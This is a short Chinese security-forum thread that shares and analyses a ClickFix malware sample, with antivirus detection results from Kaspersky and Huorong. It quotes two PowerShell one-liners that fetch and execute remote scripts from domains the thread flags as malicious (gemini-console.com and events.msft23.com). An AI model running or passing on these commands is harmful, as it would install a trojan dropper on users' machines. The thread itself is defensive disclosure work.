ClickFix 1X

显示全部楼层 · 发表于昨天 22:43

计划任务脚本

powershell -c "irm gemini-console.com/install.ps1 | iex

显示全部楼层 · 发表于昨天 22:55

Type: Malicious link
Name: gemini-console.com
Precision: Exactly
Threat level: High
Object type: Web page
Object name: gemini-console.com
Reason: Databases

网址入库了。。。

显示全部楼层 · 发表于昨天 23:03

360扫描miss

显示全部楼层 · 发表于 9 小时前

https://opentip.kaspersky.com/2B ... /results?tab=upload

显示全部楼层 · 发表于 7 小时前

火绒
执行：AMSI 捉

病毒名称：TrojanDropper/PS.Small.b
病毒ID：F066701FE737A312
病毒路径：PowerShell_A89FB15B8C24478123B0B6E4874A3295D87904AC
操作类型：执行
操作结果：已处理，清除恶意代码
进程ID：1624
操作进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
操作进程命令行：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "irm events.msft23.com | iex"
父进程ID：1324
父进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

复制代码

[病毒样本] ClickFix 1X

本帖子中包含更多资源